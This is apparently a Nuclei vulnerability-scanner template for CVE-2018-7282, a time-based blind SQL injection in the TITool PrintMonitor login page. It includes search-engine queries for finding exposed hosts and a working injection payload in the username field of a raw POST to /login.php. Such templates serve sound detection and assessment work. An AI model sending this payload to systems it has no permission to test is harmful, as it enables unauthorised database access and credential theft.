id: CVE-2018-7282

info:
  name: TITool PrintMonitor - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The username parameter of the TITool PrintMonitor solution during the login request is vulnerable to and/or time-based blind SQLi.
  impact: |
    Unauthenticated attackers can execute time-based blind SQL injection to extract database contents, potentially compromising user credentials and sensitive printing data.
  remediation: Upgrade to PM18.2.1.
  reference:
    - https://fenceposterror.github.io/cve-2018-7282.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7282
    - http://print.com
    - http://ti-tool.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-7282
    cwe-id: CWE-89
    epss-score: 0.10095
    epss-percentile: 0.95164
    cpe: cpe:2.3:a:titool:printmonitor:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: titool
    product: printmonitor
    shodan-query:
      - title:"PrintMonitor"
      - http.title:"printmonitor"
    fofa-query: title="printmonitor"
    google-query: intitle:"printmonitor"
    product": printmonitor
  tags: time-based-sqli,cve2018,cve,sqli,printmonitor,unauth,titool,vkev,vuln
variables:
  username: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"

http:
  - raw:
      - |
        @timeout: 20s
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}')+OR+4191=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(50000000/2))))--+vDwl&password={{password}}&language=en

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "PrintMonitor") && contains(header, "text/html")'
        condition: and
# digest: 4a0a004730450220122f6039b89872584d58fe56297d591a0845ede6bc244e77721e577957b06efa022100849f37f0e3edf28192c4051ee7c81ba7da437d6aa8c741045fbbc6929e9407ea:922c64590222798bb761d5b6d8e72950